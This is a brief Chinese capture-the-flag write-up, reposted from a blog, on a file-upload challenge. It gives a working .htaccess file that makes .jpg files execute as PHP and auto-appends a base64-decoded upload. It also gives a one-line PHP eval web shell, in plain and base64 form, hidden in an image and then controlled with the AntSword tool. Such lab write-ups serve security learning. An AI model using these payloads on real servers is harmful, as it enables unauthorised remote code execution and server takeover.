polar CTF上传

发布时间：2023年12月29日

1、题目
在这里插入图片描述
2、经过测试.htaccess绕过
三行代码解析：
将上传的.jpg文件解析成php文件
auto_append_file包含上传的文件
将上传的文件进行解码

AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=1.jpg"

在这里插入图片描述

3、上传文件名为1.jpg的图片码
马为

<?php eval($_POST[c]); ?>

base64后为

PD9waHAgZXZhbCgkX1BPU1RbY10pOyA/Pg==

在这里插入图片描述
访问为
在这里插入图片描述
蚁剑连接
在这里插入图片描述

文章来源:https://blog.csdn.net/qq_36286161/article/details/135299861
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
最新文章